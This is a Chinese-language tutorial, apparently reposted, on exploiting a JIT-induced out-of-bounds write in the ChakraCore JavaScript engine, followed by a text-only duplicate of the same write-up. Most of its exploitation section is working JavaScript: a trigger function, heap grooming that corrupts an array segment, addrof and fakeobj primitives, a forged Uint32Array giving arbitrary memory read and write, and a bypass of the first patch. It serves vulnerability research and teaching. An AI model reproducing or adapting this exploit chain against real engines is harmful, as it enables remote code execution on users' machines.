RCE:分析ChakraCore中的RCE漏洞利用过程
字数 1920 2025-08-27 12:33:42

ChakraCore RCE漏洞分析与利用教学文档

漏洞概述

本漏洞存在于ChakraCore JavaScript引擎中,是一个由于JIT优化不当导致的类型混淆漏洞,最终可实现远程代码执行(RCE)。该漏洞于2018年9月通过提交8c5332b8eb5663e4ec2636d81175ccf7a0820ff2引入,并在后续得到修复。

漏洞背景知识

ChakraCore中的对象存储

  1. JSObject布局

    • vfptr: 虚拟表指针
    • type: 保存Type指针
    • auxSlots: 指向保存对象属性的缓冲区指针
    • objectArray: 如果对象有索引属性,则指向JSArray
  2. auxSlots缓冲区

    • 为避免添加新属性时频繁重新分配内存,auxSlots会以特定大小增长以容纳未来可能添加的属性

ChakraCore中的数组存储

ChakraCore使用三种存储方式优化数组:

  1. NativeIntArray: 以4字节存储整数
  2. NativeFloatArray: 以8字节存储数字
  3. JavascriptArray: 以盒装表示存储数字,直接存储对象指针

JIT编译器背景

ChakraCore的JIT编译器有两层优化:

  1. SimpleJit
  2. FullJit

FullJit层执行所有优化,使用直接算法处理函数的控制流图(CFG),包括:

  • 向后传递图表
  • 向前传递
  • 另一个向后传递(称为DeadStore传递)

在这些过程中,收集数据以跟踪JS变量的各种符号信息,包括内部字段和指针。其中一条重要信息是"向上暴露的符号使用"(upward exposed uses),用于判断符号是否会在后续被使用。

漏洞详情

漏洞引入

漏洞在提交8c5332b8eb5663e4ec2636d81175ccf7a0820ff2中被引入,该提交尝试优化AdjustObjType指令,并引入了新指令AdjustObjTypeReloadAuxSlotPtr

漏洞逻辑

考虑以下代码:

function opt(obj) {
    // 假设此时obj->auxSlots已满
    obj.new_property = 1; // [[1]]
}

JIT必须在[[1]]处生成AdjustObjType指令以正确增长后备缓冲区。优化逻辑尝试使用"向上暴露的使用"信息决定生成AdjustObjType还是AdjustObjTypeReloadAuxSlotPtr

关键问题在于:

  1. 如果没有后续属性访问,优化会生成AdjustObjType而非AdjustObjTypeReloadAuxSlotPtr
  2. 但实际上auxSlots指针会被重新加载
  3. 写入新属性时使用了旧的auxSlots指针
  4. 最终导致在原始auxSlots缓冲区后8字节的越界写入(OOB write)

触发条件

触发漏洞的JavaScript函数:

function opt(obj) {
    obj.new_property = obj.some_existing_property;
}

漏洞利用步骤

目标

建立两个关键原语:

  1. addrof: 泄漏JavaScript对象的内部地址
  2. fakeobj: 在任意内存地址获取JavaScript对象句柄

限制条件

  1. 只能覆盖auxSlots缓冲区后的第一个QWORD
  2. 不能写入任意值,只能写入JSValue(带标记的值)

利用策略

1. 寻找合适的覆盖目标

选择覆盖数组段,因为:

  • 数组段结构包含有用字段
  • 可以使用标记整数进行覆盖
  • 覆盖后可以检测是否成功

数组段结构:

uint32_t left;    // 段的最左侧索引
uint32_t length;  // 该段中设置的最高索引
uint32_t size;    // 段可以存储的元素数量
segment * next;   // 指向下一个段的指针

2. 堆风水(Heap Feng-Shui)

通过控制对象属性数量,使auxSlots与新数组段分配在同一内存区域:

  1. 创建具有20个属性的对象
  2. 确保auxSlots已满

3. 破坏数组段

利用步骤:

  1. 创建NativeFloatArray
  2. 设置一个高索引(如0x7000)以创建新段
  3. 创建具有20个属性的对象
  4. 通过分配索引0x1000创建新段
  5. 触发漏洞写入0x4000

检测代码:

let arr = [1.1];
arr[0x7000] = 0x200000; // 分段数组
let o = make_obj();
arr[0x1000] = 1337.36;  // 在o的auxSlots后分配段
opt(o);                 // 触发漏洞覆盖段头

if (arr[0x4000] == 1337.36) {
    print("[+] corruption worked");
}

建立addrof原语

利用损坏的段读取后续数组中的对象指针:

function setup_addrof(toLeak) {
    // 设置损坏的段
    addrof_hax = [1.1];
    addrof_hax[0x7000] = 0x200000;
    let o = make_obj();
    addrof_hax[0x1000] = 1337.36;
    opt(o);
    
    // 设置包含目标对象的数组
    addrof_hax2 = [];
    addrof_hax2[0x1337] = toLeak;
    
    // 查找目标对象指针
    for (let i = 0; i < 0x500; i++) {
        if (addrof_hax[0x4010 + i] == marker) {
            addrof_idx = i;
            return;
        }
    }
}

function addrof(toLeak) {
    if (!addrof_setupped) {
        setup_addrof(toLeak);
        addrof_setupped = true;
    }
    return f2i(addrof_hax[0x4010 + addrof_idx + 3]);
}

建立fakeobj原语

利用损坏的段伪造对象:

function setup_fakeobj(addr) {
    fakeobj_hax = [{}];
    fakeobj_hax2 = [addr];
    fakeobj_hax[0x7000] = 0x200000;
    fakeobj_hax2[0x7000] = 1.1;
    let o = make_obj();
    fakeobj_hax[0x1000] = i2f(0x404040404040);
    fakeobj_hax2[0x3000] = addr;
    opt(o);
    return fakeobj_hax[0x4000 + 20];
}

function fakeobj(addr) {
    if (!fakeobj_setuped) {
        setup_fakeobj(addr);
        fakeobj_setuped = true;
    }
    return fakeobj_hax[0x4000 + 20];
}

获取任意读写原语

1. 泄漏vtable指针

利用内联数组和伪造的Uint64Number:

let a = new Array(16);
let b = new Array(16);
let addr = addrof(a);
let type = addr + 0x68;

// 伪造Uint64Number类型
a[4] = 0x6; 
a[6] = lo(addr); a[7] = hi(addr);
a[8] = lo(addr); a[9] = hi(addr);
a[14] = 0x414141;
a[16] = lo(type); a[17] = hi(type);

let fake = fakeobj(i2f(addr + 0x90));
let vtable = parseInt(fake);
let uint32_vtable = vtable + offset;

2. 伪造Uint32Array

type = new Array(16);
type[0] = 50; // TypeIds_Uint32Array = 50
typeAddr = addrof(type) + 0x58;

ab = new ArrayBuffer(0x1338);
abAddr = addrof(ab);

fakeObject = new Array(16);
fakeObject[0] = lo(uint32_vtable); fakeObject[1] = hi(uint32_vtable);
fakeObject[2] = lo(typeAddr); fakeObject[3] = hi(typeAddr);
fakeObject[8] = 0x1000; fakeObject[9] = 0;
fakeObject[10] = lo(abAddr); fakeObject[11] = hi(abAddr);

address = addrof(fakeObject);
fakeObjectAddr = address + 0x58;
arr = fakeobj(i2f(fakeObjectAddr));

3. 实现读写原语

memory = {
    setup: function(addr) {
        fakeObject[14] = lower(addr);
        fakeObject[15] = higher(addr);
    },
    write32: function(addr, data) {
        memory.setup(addr);
        arr[0] = data;
    },
    write64: function(addr, data) {
        memory.setup(addr);
        arr[0] = data & 0xffffffff;
        arr[1] = data / 0x100000000;
    },
    read64: function(addr) {
        memory.setup(addr);
        return arr[0] + arr[1] * BASE;
    }
};

绕过修复

第一次修复后(e149067c8f1a80462ac77d863b9bfb0173d0ced3),常规属性分配不再触发漏洞。绕过方法:

function make_obj() {
    let o = {};
    // 减少属性数量
    o.a1=0x4000; ... o.a18=0x4000;
    return o;
}

function opt(o) {
    o.__defineGetter__("accessor", function() {});
    o.a2; // 设置auxSlots为活跃
    o.pwn = 0x4000; // 触发漏洞
}

总结

本教学详细分析了ChakraCore中的RCE漏洞,从漏洞原理到完整利用链的构建,包括:

  1. 理解ChakraCore对象和数组存储机制
  2. 分析JIT优化导致的漏洞原理
  3. 构建堆风水布局
  4. 实现addrof和fakeobj原语
  5. 获取任意读写能力
  6. 绕过初步修复

通过这种方法,攻击者可以在ChakraCore引擎中实现可靠的远程代码执行。

ChakraCore RCE漏洞分析与利用教学文档 漏洞概述 本漏洞存在于ChakraCore JavaScript引擎中,是一个由于JIT优化不当导致的类型混淆漏洞,最终可实现远程代码执行(RCE)。该漏洞于2018年9月通过提交8c5332b8eb5663e4ec2636d81175ccf7a0820ff2引入,并在后续得到修复。 漏洞背景知识 ChakraCore中的对象存储 JSObject布局 : vfptr : 虚拟表指针 type : 保存Type指针 auxSlots : 指向保存对象属性的缓冲区指针 objectArray : 如果对象有索引属性,则指向JSArray auxSlots缓冲区 : 为避免添加新属性时频繁重新分配内存,auxSlots会以特定大小增长以容纳未来可能添加的属性 ChakraCore中的数组存储 ChakraCore使用三种存储方式优化数组: NativeIntArray : 以4字节存储整数 NativeFloatArray : 以8字节存储数字 JavascriptArray : 以盒装表示存储数字,直接存储对象指针 JIT编译器背景 ChakraCore的JIT编译器有两层优化: SimpleJit FullJit FullJit层执行所有优化,使用直接算法处理函数的控制流图(CFG),包括: 向后传递图表 向前传递 另一个向后传递(称为DeadStore传递) 在这些过程中,收集数据以跟踪JS变量的各种符号信息,包括内部字段和指针。其中一条重要信息是"向上暴露的符号使用"(upward exposed uses),用于判断符号是否会在后续被使用。 漏洞详情 漏洞引入 漏洞在提交8c5332b8eb5663e4ec2636d81175ccf7a0820ff2中被引入,该提交尝试优化 AdjustObjType 指令,并引入了新指令 AdjustObjTypeReloadAuxSlotPtr 。 漏洞逻辑 考虑以下代码: JIT必须在[ [ 1]]处生成 AdjustObjType 指令以正确增长后备缓冲区。优化逻辑尝试使用"向上暴露的使用"信息决定生成 AdjustObjType 还是 AdjustObjTypeReloadAuxSlotPtr 。 关键问题在于: 如果没有后续属性访问,优化会生成 AdjustObjType 而非 AdjustObjTypeReloadAuxSlotPtr 但实际上auxSlots指针会被重新加载 写入新属性时使用了旧的auxSlots指针 最终导致在原始auxSlots缓冲区后8字节的越界写入(OOB write) 触发条件 触发漏洞的JavaScript函数: 漏洞利用步骤 目标 建立两个关键原语: addrof : 泄漏JavaScript对象的内部地址 fakeobj : 在任意内存地址获取JavaScript对象句柄 限制条件 只能覆盖auxSlots缓冲区后的第一个QWORD 不能写入任意值,只能写入JSValue(带标记的值) 利用策略 1. 寻找合适的覆盖目标 选择覆盖 数组段 ,因为: 数组段结构包含有用字段 可以使用标记整数进行覆盖 覆盖后可以检测是否成功 数组段结构: 2. 堆风水(Heap Feng-Shui) 通过控制对象属性数量,使auxSlots与新数组段分配在同一内存区域: 创建具有20个属性的对象 确保auxSlots已满 3. 破坏数组段 利用步骤: 创建NativeFloatArray 设置一个高索引(如0x7000)以创建新段 创建具有20个属性的对象 通过分配索引0x1000创建新段 触发漏洞写入0x4000 检测代码: 建立addrof原语 利用损坏的段读取后续数组中的对象指针: 建立fakeobj原语 利用损坏的段伪造对象: 获取任意读写原语 1. 泄漏vtable指针 利用内联数组和伪造的Uint64Number: 2. 伪造Uint32Array 3. 实现读写原语 绕过修复 第一次修复后(e149067c8f1a80462ac77d863b9bfb0173d0ced3),常规属性分配不再触发漏洞。绕过方法: 总结 本教学详细分析了ChakraCore中的RCE漏洞,从漏洞原理到完整利用链的构建,包括: 理解ChakraCore对象和数组存储机制 分析JIT优化导致的漏洞原理 构建堆风水布局 实现addrof和fakeobj原语 获取任意读写能力 绕过初步修复 通过这种方法,攻击者可以在ChakraCore引擎中实现可靠的远程代码执行。